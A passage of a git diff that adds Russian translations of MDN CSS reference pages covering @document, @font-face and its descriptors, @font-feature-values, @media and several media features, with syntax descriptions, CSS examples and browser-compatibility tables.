Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop(33)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/@document/index.html b/files/ru/web/css/@document/index.html new file mode 100644 index 0000000000..f62bddfb79 --- /dev/null +++ b/files/ru/web/css/@document/index.html @@ -0,0 +1,82 @@ +--- +title: '@document' +slug: Web/CSS/@document +translation_of: Web/CSS/@document +--- +
{{SeeCompatTable}}
+ +

@document CSS at-rule ограничивает правила стиля, содержащиеся в нем, на основе URL-адреса документа. Он разработан в основном для пользовательских таблиц стилей, хотя он также может использоваться в авторских таблицах стилей.

+ +
@document url("https://www.example.com/") {
+  h1 {
+    color: green;
+  }
+}
+
+ +

Синтаксис

+ +

Правило @document может указывать одну или несколько подходящих функций. Если какая-либо из функций применяется к данному URL-адресу, это правило вступит в силу для этого URL-адреса. Доступны следующие функции:

+ + + +

Значения, предоставляемые функциям url(), url-prefix(), domain(), и media-document() могут быть необязательно заключены в одинарные или двойные кавычки. Значения, предоставляемые функции regexp() должны быть заключены в кавычки. .

+ +

Экранированные значения, предоставляемые функции regexp() акже должны быть экранированы из CSS. Например, . (период) соответствует любому символу в регулярных выражениях. Чтобы соответствовать буквальному периоду, вам сначала нужно избежать этого, используя правила регулярных выражений (\.), А затем убежать от этой строки с помощью правил CSS (\\.).

+ +
+

Примечание: Существует версия -moz-prefixed этого свойства — @-moz-document. Это было ограничено использованием только в пользовательских и UA-листах в Firefox 59 в Nightly and Beta - эксперименте, предназначенном для смягчения потенциальных атак с помощью CSS-инъекций ({{bug(1035091)}}).

+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

CSS

+ +
@document url(http://www.w3.org/),
+          url-prefix(http://www.w3.org/Style/),
+          domain(mozilla.org),
+          media-document(video),
+          regexp("https:.*") {
+  /* CSS rules here apply to:
+     - The page "http://www.w3.org/"
+     - Any page whose URL begins with "http://www.w3.org/Style/"
+     - Any page whose URL's host is "mozilla.org"
+       or ends with ".mozilla.org"
+     - Any standalone video
+     - Any page whose URL starts with "https:" */
+
+  /* Make the above-mentioned pages really ugly */
+  body {
+    color: purple;
+    background: yellow;
+  }
+}
+
+ +

Specifications

+ +

Initially in {{SpecName('CSS3 Conditional')}}, @document has been postponed to Level 4.

+ +

Browser compatibility

+ + + +

{{Compat("css.at-rules.document")}}

+ +

See also

+ + + +
{{CSSRef}}
diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html new file mode 100644 index 0000000000..e2e0876cc0 --- /dev/null +++ b/files/ru/web/css/@font-face/font-display/index.html @@ -0,0 +1,143 @@ +--- +title: font-display +slug: Web/CSS/@font-face/font-display +translation_of: Web/CSS/@font-face/font-display +--- +
{{CSSRef}}
+ +

Описание

+ +

Дескриптор font-display определяет то, как шрифт, подключенный через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.

+ +

Временная шкала отображения шрифтов

+ +

Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта.  Эта временная шкала разделена на три отрезка, приведенных ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.

+ +
+
Период блокировки шрифта (Font block period)
+
Если шрифт не загружен, любой элемент, который пытается его использовать, должен быть отрендерен с невидимым запасным шрифтом. Если за это время шрифт успешно загружается, то он используется, как обычно.
+
Период подмены шрифта (Font swap period)
+
Если шрифт не загружен, любой элемент, который пытается его использовать, должен быть отрендерен запасным шрифтом. Если за это время шрифт успешно загружается, то он используется, как обычно.
+
Период отказа шрифта (Font failure period)
+
Если шрифт не загружен, пользовательский агент воспринимает это как неудачную загрузку и использует запасной шрифт.
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Значения свойства */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;
+ +

Значения

+ +
+
auto
+
Стратегию загрузки шрифта определяет пользовательский агент.
+
block
+
Для шрифта задается короткий период блокировки и бесконечный период подмены.
+
swap
+
Для шрифта не задается период блокировки и задается бесконечный период подмены.
+
fallback
+
Для шрифта задается очень короткий период блокировки и короткий период подмены.
+
optional
+
Для шрифта задается очень короткий период блокировки и не задается период подмены.
+
+ +

Официальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
@font-face {
+  font-family: ExampleFont;
+  src: url(/path/to/fonts/examplefont.woff) format('woff'),
+       url(/path/to/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Font Rendering', '#font-display-desc', 'font-display')}}{{Spec2('CSS Font Rendering')}}Исходное описание
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome(60)}}{{CompatUnknown}}{{CompatGeckoDesktop("46.0")}}[2]{{CompatNo}}{{CompatOpera(36)}}[1]{{CompatSafari(11.1)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("46.0")}}[2]{{CompatUnknown}}{{CompatOpera(37)}}[1]{{CompatSafari(11.1)}}{{CompatChrome(59.0)}}[1]
+
+ +

[1] За флагом.

+ +

[2] Эта возможность доступна, начиная с версии Firefox 46 с настрокой layout.css.font-display.enabled, по умолчанию false.  См. ({{bug(1157064)}}).

diff --git a/files/ru/web/css/@font-face/font-family/index.html b/files/ru/web/css/@font-face/font-family/index.html new file mode 100644 index 0000000000..39fc326e69 --- /dev/null +++ b/files/ru/web/css/@font-face/font-family/index.html @@ -0,0 +1,67 @@ +--- +title: font-family +slug: Web/CSS/@font-face/font-family +tags: + - Шрифты + - дескрипторы +translation_of: Web/CSS/@font-face/font-family +--- +
{{CSSRef}}
+ +

CSS дескриптор font-family позволяет авторам указывать font family для шрифта, указанного в правиле {{cssxref("@font-face")}}.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* <string> значения */
+font-family: "font family";
+font-family: 'another font family';
+
+/* <custom-ident> значение */
+font-family: examplefont;
+
+ +

Значения

+ +
+
<family-name>
+
Указывает имя font family.
+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
@font-face {
+  font-family: examplefont;
+  src: url('examplefont.ttf');
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментрий
{{SpecName('CSS3 Fonts', '#font-family-desc', 'font-family')}}{{Spec2('CSS3 Fonts')}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("css.at-rules.font-face.font-family")}}

diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html new file mode 100644 index 0000000000..7ae73142db --- /dev/null +++ b/files/ru/web/css/@font-face/index.html @@ -0,0 +1,206 @@ +--- +title: '@font-face' +slug: Web/CSS/@font-face +tags: + - '@font-face' + - At-rule + - CSS + - CSS Fonts + - NeedsTranslation + - Reference + - типографика +translation_of: Web/CSS/@font-face +--- +
@font-face CSS @-правило позволяет указать шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удаленного сервера, либо с компьютера пользователя. Если в правиле была объявлена функция local(), с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции url().
+ +
 
+ +
@font-face позволяет разрабатывать контент не ограничиваясь набором "безопасных" шрифтов (шрифтов, которые настолько распространены, что считаются доступными по умолчанию). Возможность определить локально установленный шрифт позволяет более гибко настраивать шрифты не полагаясь на соединение с интернетом. 
+ +
 
+ +
Распространенным случаем является одновременное использование url() и local(), чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.
+ +
 
+ +
Это правило может использоваться не только на верхнем уровне CSS, но и внутри любого  @-правила.
+ +
@font-face {
+ font-family: "Open Sans";
+ src: url("/fonts/OpenSans-Regular-webfont.woff2") format("woff2"),
+        url("/fonts/OpenSans-Regular-webfont.woff") format("woff");
+}
+ +

Синтаксис

+ +

Descriptors

+ +
+
{{cssxref("@font-face/font-display", "font-display")}}
+
Определяет как отображается шрифт, основываясь на том, был ли он загружен и готов ли к использованию.
+
+ +
+
{{cssxref("@font-face/font-family", "font-family")}}
+
Указывает имя шрифта, которое будет использоваться для задания свойств шрифта.
+
{{cssxref("@font-face/font-stretch", "font-stretch")}}
+
Значение {{cssxref("font-stretch")}}.
+
{{cssxref("@font-face/font-style", "font-style")}}
+
Значение {{cssxref("font-style")}}.
+
{{cssxref("@font-face/font-weight", "font-weight")}}
+
Значение {{cssxref("font-weight")}}.
+
{{cssxref("@font-face/font-variant", "font-variant")}}
+
Значение {{cssxref("font-variant")}}.
+
{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}
+
Позволяет контролировать другие расширенные особенности OpenType-шрифтов.
+
{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}
+
Позволяет осуществлять низкоуровневый контроль над вариациями OpenType и TrueType шрифтов, указывая четырёхбуквенные названия осей для изменения вместе с их значениями.
+
{{cssxref("@font-face/src", "src")}}
+
Задает ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удаленного файла шрифта или имя шрифта на компьютере пользователя.
+
+ Чтобы дать браузеру возможность выбрать наиболее подходящий формат шрифта, его можно указать при объявлении внутри функции format():
+ + 
src: url(ideal-sans-serif.woff) format("woff"),
+     url(basic-sans-serif.ttf) format("opentype");
+
+ +

Список доступных форматов: "woff", "woff2", "truetype", "opentype", "embedded-opentype", и "svg".

+
+
+ +
+
{{cssxref("@font-face/unicode-range", "unicode-range")}}
+
Диапазон Unicode кодов, который будет использоваться в шрифте.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Примеры

+ +

Этот пример просто указывает загружаемый шрифт для использования и применяет его ко всему телу документа:

+ +

Смотреть живой пример

+ +
<html>
+<head>
+  <title>Web Font Sample</title>
+  <style type="text/css" media="screen, print">
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("https://mdn.mozillademos.org/files/2468/VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  </style>
+</head>
+<body>
+  This is Bitstream Vera Serif Bold.
+</body>
+</html>
+
+ +

В этом примере используется локальный пользовательский шрифт "Helvetica Neue Bold"; если у пользователя этот шрифт не установлен (используются два различных имени), тогда вместо него используется загружаемый шрифт с названием "MgOpenModernaBold.ttf":

+ +
@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+       local("HelveticaNeue-Bold"),
+       url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+
+ +

MIME-типы шрифтов

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ФорматMIME-тип
TrueTypefont/ttf
OpenTypefont/otf
Web Open File Formatfont/woff
Web Open File Format 2font/woff2
+ +

Заметки

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WOFF2.0', '', 'WOFF2 font format')}}{{Spec2('WOFF2.0')}}Спецификация нового формата шрифта с новым алгоритмом сжатия
{{SpecName('WOFF1.0', '', 'WOFF font format')}}{{Spec2('WOFF1.0')}}Спецификация формата шрифта
{{SpecName('CSS3 Fonts', '#font-face-rule', '@font-face')}}{{Spec2('CSS3 Fonts')}}Первоначальное определение
+ +

Browser compatibility

+ +

{{Compat("css.at-rules.font-face")}}

+ +

See also

+ + + +

{{CSSRef}}

diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html new file mode 100644 index 0000000000..5b47c95373 --- /dev/null +++ b/files/ru/web/css/@font-feature-values/index.html @@ -0,0 +1,88 @@ +--- +title: '@font-feature-values' +slug: Web/CSS/@font-feature-values +translation_of: Web/CSS/@font-feature-values +--- +
{{CSSRef}}
+ +

CSS правило @font-feature-values позволяет использовать общее имя в свойстве {{cssxref("font-variant-alternates")}} для функций, которые по разному активируются в OpenType. Это может помочь упростить ваш CSS при использовании нескольких шрифтов.

+ +
/* Правило для "хорошего стиля" в Font One */
+@font-feature-values Font One {
+  @styleset {
+    nice-style: 12;
+  }
+}
+
+/* Правило для "хорошего стиля" в Font Two */
+@font-feature-values Font Two {
+  @styleset {
+    nice-style: 4;
+  }
+}
+
+…
+
+/* Применение правилоа с единственым объявлением */
+.nice-look {
+  font-variant-alternates: styleset(nice-style);
+}
+
+ +

Правило @font-feature-values может использоваться как на вернем уровне вашего CSS так и внутри любого условного CSS правила.

+ +

Синтаксис

+ +

Блоки значений функций

+ +
+
@swash
+
Устанавливает имя функции, которая будет работать с функциональной записью {{cssxref("font-variant-alternates", "swash()", "#swash()")}} для {{cssxref("font-variant-alternates")}}. Определение значения функции swash допускает только одно значение: ident1: 2 является действительным, но ident2: 2 4 нет.
+
@annotation
+
Устанавливает имя фунции, которая будет работать с функциональной записью {{cssxref("font-variant-alternates", "annotation()", "#annotation()")}} для {{cssxref("font-variant-alternates")}}. Определение значения функции допускает только одно значение: ident1: 2 действительным , но ident2: 2 4 нет.
+
@ornaments
+
Устанавливает имя функции, которая будет работать с функциональной записью {{cssxref("font-variant-alternates", "ornaments()", "#ornaments()")}} для {{cssxref("font-variant-alternates")}}. Определение значения функции ornaments допускает только одно значение: ident1: 2 является действительным, но ident2: 2 4 нет.
+
@stylistic
+
Specifies a feature name that will work with the {{cssxref("font-variant-alternates", "stylistic()", "#stylistic()")}} functional notation of {{cssxref("font-variant-alternates")}}. A stylistic feature value definition allows only one value: ident1: 2 is valid, but ident2: 2 4 isn't.
+
@styleset
+
Specifies a feature name that will work with the {{cssxref("font-variant-alternates", "styleset()", "#styleset()")}} functional notation of {{cssxref("font-variant-alternates")}}. A stylset feature value definition allows an unlimited number of values: ident1: 2 4 12 1 maps to the OpenType values ss02, ss04, ss12, and ss01. Note that values higher than 99 are valid, but don't map to any OpenType values and are ignored.
+
@character-variant
+
Specifies a feature name that will work with the {{cssxref("font-variant-alternates", "character-variant()", "#character-variant()")}} functional notation of {{cssxref("font-variant-alternates")}}. A character-variant feature value definition allows either one or two values: ident1: 3 maps to cv03=1, and ident2: 2 4 maps to cv02=4, but ident2: 2 4 5 is invalid.
+
+ +

Формальный синтаксиси

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Fonts', '#font-feature-values', '@font-feature-values')}}{{Spec2('CSS3 Fonts')}}Начальное определение.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("css.at-rules.font-feature-values")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/@media/index.html b/files/ru/web/css/@media/index.html new file mode 100644 index 0000000000..93f12082be --- /dev/null +++ b/files/ru/web/css/@media/index.html @@ -0,0 +1,384 @@ +--- +title: '@media' +slug: Web/CSS/@media +translation_of: Web/CSS/@media +--- +

{{CSSRef}}

+ +

Описание

+ +

At-правило @media в CSS связывает набор операторов, ограниченных фигурными скобками, в CSS блок, применяется при соблюдении условия одного или нескольких медиазапросов.

+ +
+

В JavaScript, at-правило @media может быть получено с помощью {{domxref("CSSMediaRule")}}, интерфейса объектной модели CSS.

+
+ +

Синтаксис

+ +

At-правило @media можно разместить не только на верхнем уровне CSS, но и внутри любого фрагмента условной группы-правил.

+ +
/* На верхнем уровне кода */
+@media screen and (min-width: 900px) {
+  article {
+    padding: 1rem 3rem;
+  }
+}
+
+/* Вложено в другое условное at-правило */
+@supports (display: flex) {
+  @media screen and (min-width: 900px) {
+    article {
+      display: flex;
+    }
+  }
+}
+ +

Для рассмотрения синтаксиса медиазапросов, см. Использование медиазапросов.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

A <media-query> is composed of a optional media type and/or a number of media features.

+ +

Типы

+ +
+
all
+
Подходит для всех устройств.
+
print
+
Intended for paged material and for documents viewed on screen in print preview mode. Please consult the section on paged media, and the media section of the Getting Started tutorial for information about formatting issues that are specific to paged media.
+
screen
+
Предназначен в первую очередь для цветных компьютерных экранов.
+
speech
+
Предназначен для синтезаторов речи.
+
+ +
Примечание: CSS2.1 и Media Queries 3 определили несколько дополнительных зачений (tty, tv, projection, handheld, braille, embossed, aural), но они устарели в Media Queries 4 и не рекомендуется к использованию.
+ +

Media Features

+ +

Each media feature tests for one specific feature of the browser or device.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ИмяSummaryNotes
widthViewport width
heightViewport height
aspect-ratioWidth-to-height aspect ratio of the viewport
orientationOrientation of the viewport
resolutionPixel density of the output device
scanScanning process of the output device
gridIs the device a grid or bitmap?
update-frequencyHow quickly (if at all) can the output device modify the appearance of the contentAdded in Media Queries Level 4
overflow-blockHow does the output device handle content that overflows the viewport along the block axis?Added in Media Queries Level 4
overflow-inlineCan content that overflows the viewport along the inline axis be scrolled?Added in Media Queries Level 4
colorNumber of bits per color component of the output device, or zero if the device isn't color.
color-indexNumber of entries in the output device's color lookup table, or zero if the device does not use such a table.
display-modeThe display mode of the application, as specified in the web app manifest's display member.Defined in the Web App Manifest spec.
monochromeBits per pixel in the output device's monochrome frame buffer, or 0 if the device is not monochrome.
inverted-colorsIs the user agent or underlying OS inverting colors?Added in Media Queries Level 4
pointerIs the primary input mechanism a pointing device, and if so, how accurate is it?Added in Media Queries Level 4
hoverDoes the primary input mechanism allow the user to hover over elements?Added in Media Queries Level 4
any-pointerIs any available input mechanism a pointing device, and if so, how accurate is it?Added in Media Queries Level 4
any-hoverDoes any available input mechanism allow the user to hover over elements?Added in Media Queries Level 4
light-levelCurrent ambient light levelAdded in Media Queries Level 4
scriptingIs scripting (e.g. JavaScript) available?Added in Media Queries Level 4
device-width {{obsolete_inline}}Width of the rendering surface of the output deviceDeprecated in Media Queries Level 4
device-height {{obsolete_inline}}Height of the rendering surface of the output deviceDeprecated in Media Queries Level 4
device-aspect-ratio {{obsolete_inline}}Width-to-height aspect ratio of the output deviceDeprecated in Media Queries Level 4
-webkit-device-pixel-ratio {{non-standard_inline}}Number of physical device pixels per CSS pixelNonstandard; WebKit/Blink-specific. If possible, use the resolution media feature instead.
-webkit-transform-3d {{non-standard_inline}}Are CSS 3D {{cssxref("transform")}}s supported?Nonstandard; WebKit/Blink-specific
-webkit-transform-2d {{non-standard_inline}}Are CSS 2D {{cssxref("transform")}}s supported?Nonstandard; WebKit-specific
-webkit-transition {{non-standard_inline}}Are CSS {{cssxref("transition")}}s supported?Nonstandard; WebKit-specific
-webkit-animation {{non-standard_inline}}Are CSS {{cssxref("animation")}}s supported?Nonstandard; WebKit-specific
+ +

Примеры

+ +
@media print {
+  body { font-size: 10pt }
+}
+@media screen {
+  body { font-size: 13px }
+}
+@media screen, print {
+  body { line-height: 1.2 }
+}
+@media only screen
+  and (min-device-width: 320px)
+  and (max-device-width: 480px)
+  and (-webkit-min-device-pixel-ratio: 2) {
+    body { line-height: 1.4 }
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Compat', '#css-media-queries', 'CSS Media Queries')}}{{Spec2('Compat')}}Стандартизация -webkit-device-pixel-ratio и -webkit-transform-3d.
{{SpecName('CSS3 Conditional', '#at-media', '@media')}}{{Spec2('CSS3 Conditional')}}Определяет базовый синтаксис правила @media.
{{SpecName('CSS4 Media Queries', '#media', '@media')}}{{Spec2('CSS4 Media Queries')}} +

Добавлены scripting, pointer, hover, light-level, update-frequency, overflow-block и overflow-inline.
+ Исключены все media типы за исключением screen, print, speech, и all.

+
{{SpecName('CSS3 Media Queries', '#media0', '@media')}}{{Spec2('CSS3 Media Queries')}}Нет изменений.
{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}{{Spec2('CSS2.1')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка(all, print, screen)1.0{{ CompatGeckoDesktop(1.7) }}6.09.21.3
speech{{CompatNo}}{{CompatNo}}{{CompatNo}}9.2{{CompatNo}}
Media features1.0{{ CompatGeckoDesktop(1.7) }}9.09.21.3
display-mode media feature{{CompatUnknown}}{{ CompatGeckoDesktop(47) }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка (all, print, screen)1.0{{ CompatGeckoMobile(1.7) }}{{CompatVersionUnknown}}9.03.1
speech{{CompatNo}}{{CompatNo}}{{CompatNo}}9.0{{CompatNo}}
Media features1.0{{ CompatGeckoMobile(1.7) }}{{CompatVersionUnknown}}9.03.1
display-mode media feature{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html new file mode 100644 index 0000000000..f56c90108b --- /dev/null +++ b/files/ru/web/css/@media/inverted-colors/index.html @@ -0,0 +1,83 @@ +--- +title: inverted-colors +slug: Web/CSS/@media/inverted-colors +tags: + - '@media' + - CSS + - Media Queries + - Reference + - media feature +translation_of: Web/CSS/@media/inverted-colors +--- +
{{cssref}}
+ +

CSS медиа функция inverted-colors может использоваться для проверки, инвертирует ли {{glossary("user agent")}} или ОС цвета.

+ +

Синтаксис

+ +

Функция inverted-colors указана в качестве значения ключевого слова, выбранного из списка ниже.

+ +
+
none
+
+

Цвета отображаются нормально.

+
+
inverted
+
Все пиксели в отображаемой области были инвертированы.
+
+ +

Примеры

+ +

HTML

+ +
<p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия желтого по черному). Если нет, он должен быть красным на светло-сером.</p>
+<p>Если текст серого цвета, ваш браузер не поддерживает медиа-функцию `inverted-colors`.</p>
+ +

CSS

+ +
p {
+  color: gray;
+}
+
+@media (inverted-colors: inverted) {
+  p {
+    background: black;
+    color: yellow;
+  }
+}
+
+@media (inverted-colors: none) {
+  p {
+    background: #eee;
+    color: red;
+  }
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Media Queries', '#inverted', 'inverted-colors')}}{{Spec2('CSS4 Media Queries')}}Отложено до Media Queries Level 5.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.at-rules.media.inverted-colors")}}

diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html new file mode 100644 index 0000000000..723c964b8f --- /dev/null +++ b/files/ru/web/css/@media/orientation/index.html @@ -0,0 +1,90 @@ +--- +title: Ориентация +slug: Web/CSS/@media/orientation +translation_of: Web/CSS/@media/orientation +--- +
{{cssref}}
+ +

CSS медиа-функции orientation может использоваться для проверки ориентации области {{glossary("просмотра")}} (или поля страницы для медийных страниц).

+ +
+

Примечание: Эта функция не соответствует ориентации устройства. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведет к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.

+
+ +

Синтаксис

+ +

Функция orientation указывается в качестве значения ключевого слова, выбранного из списка ниже.

+ +

Значения ключевых слов

+ +
+
portrait
+
Окно просмотра находится в портретной ориентации, то есть высота больше или равна ширине.
+
landscape
+
Окно просмотра находится в альбомной ориентации, то есть ширина больше высоты.
+
+ +

Пример

+ +

HTML

+ +
<div>Вставка 1</div>
+<div>Вставка 2</div>
+<div>Вставка 3</div>
+
+ +

CSS

+ +
body {
+  display: flex;
+}
+
+div {
+  background: yellow;
+}
+
+@media (orientation: landscape) {
+  body {
+    flex-direction: row;
+  }
+}
+
+@media (orientation: portrait) {
+  body {
+    flex-direction: column;
+  }
+}
+ +

Результат

+ +

{{EmbedLiveSample("Example")}}

+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Media Queries', '#orientation', 'orientation')}}{{Spec2('CSS4 Media Queries')}}Бе изменений.
{{SpecName('CSS3 Media Queries', '#orientation', 'orientation')}}{{Spec2('CSS3 Media Queries')}}Начальное определение.
+ +

Совместимость браузеров

+ + + +

{{Compat("css.at-rules.media.orientation")}}

diff --git a/files/ru/web/css/@media/prefers-color-scheme/index.html b/files/ru/web/css/@media/prefers-color-scheme/index.html new file mode 100644 index 0000000000..d857696181 --- /dev/null +++ b/files/ru/web/css/@media/prefers-color-scheme/index.html @@ -0,0 +1,96 @@ +--- +title: prefers-color-scheme +slug: Web/CSS/@media/prefers-color-scheme +tags: + - '@media' + - CSS + - Reference + - prefers-color-scheme +translation_of: Web/CSS/@media/prefers-color-scheme +--- +

CSS медиа функция prefers-color-scheme может использоваться для определения того, светлую или тёмную тему использует пользователь в операционной системе.

+ +

Синтаксис

+ +
+
no-preference
+
Указывает, что пользователь не сделал никаких предпочтений, известных системе. Значение этого ключевого слова оценивается как false в логическом контексте.
+
light
+
Указывает, что пользователь выбрал светлую тему в операционной системе.
+
dark
+
Указывает, что пользователь выбрал тёмную тему в операционной системе.
+
+ +

Примеры

+ +

В этом примере используется элемент с черным фоном и белым текстом, если пользователь выбрал светлую тему в операционной системе, то цвета будут инвертированы.

+ +

HTML

+ +
<div class="day">Day (initial)</div>
+<div class="day light-scheme">Day (changes in light scheme)</div>
+<div class="day dark-scheme">Day (changes in dark scheme)</div> <br>
+
+<div class="night">Night (initial)</div>
+<div class="night light-scheme">Night (changes in light scheme)</div>
+<div class="night dark-scheme">Night (changes in dark scheme)</div>
+ +

CSS

+ +
.day   { background: #eee; color: black; }
+.night { background: #333; color: white; }
+
+@media (prefers-color-scheme: dark) {
+  .day.dark-scheme   { background:  #333; color: white; }
+  .night.dark-scheme { background: black; color:  #ddd; }
+}
+
+@media (prefers-color-scheme: light) {
+  .day.light-scheme   { background: white; color:  #555; }
+  .night.light-scheme { background:  #eee; color: black; }
+}
+
+.day, .night {
+  display: inline-block;
+  padding: 1em;
+  width: 7em;
+  height: 2em;
+  vertical-align: middle;
+}
+ +

Result

+ +

{{EmbedLiveSample("Примеры")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
+

{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}

+ 		{{Spec2('CSS5 Media Queries')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{Compat("css.at-rules.media.prefers-color-scheme")}}

+ +

Смотрите также

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}
diff --git a/files/ru/web/css/@media/prefers-reduced-motion/index.html b/files/ru/web/css/@media/prefers-reduced-motion/index.html new file mode 100644 index 0000000000..b7f007c5a9 --- /dev/null +++ b/files/ru/web/css/@media/prefers-reduced-motion/index.html @@ -0,0 +1,158 @@ +--- +title: prefers-reduced-motion +slug: Web/CSS/@media/prefers-reduced-motion +tags: + - '@media' + - CSS + - Media Queries + - Reference + - media feature +translation_of: Web/CSS/@media/prefers-reduced-motion +--- +

CSS медиа функция prefers-reduced-motion может использоваться для определения того, запросил ли пользователь, чтобы ОС минимизировала количество анимации или движения, которые она использует.

+ +

Синтаксис

+ +
+
no-preference
+
Указывает, что пользователь не сделал никаких предпочтений, известных системе.
+
reduce
+
Указывает, что пользователь уведомил ОС, что он предпочитает интерфейс, который минимизирует количество движения или анимации, предпочтительно до точки, где удаляются все несущественные движения.
+
+ +

Примеры

+ +

В этом примере присутствует раздражающая анимация, если вы не включите «Уменьшить движение» в настройках доступности.

+ +

HTML

+ +
<div class="animation">animated box</div>
+
+ +

CSS

+ +
.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+    -webkit-animation: none;
+  }
+}
+
+ + + +

Результат

+ +

{{EmbedLiveSample("Examples")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-reduced-motion', 'prefers-reduced-motion')}}{{Spec2('CSS5 Media Queries')}}Изначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.at-rules.media.prefers-reduced-motion")}}

+ +

Смотрите также

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}
diff --git a/files/ru/web/css/@media/scripting/index.html b/files/ru/web/css/@media/scripting/index.html new file mode 100644 index 0000000000..92fcbf3192 --- /dev/null +++ b/files/ru/web/css/@media/scripting/index.html @@ -0,0 +1,83 @@ +--- +title: scripting +slug: Web/CSS/@media/scripting +translation_of: Web/CSS/@media/scripting +--- +
{{cssref}}
+ +

CSS медиа функция scripting может использоваться для проверки доступности скриптов (таких как JavaScript)

+ +

Синтаксис

+ +

Функция scripting указывается в качестве значения ключевого слова, выбранного из списка ниже.

+ +
+
none
+
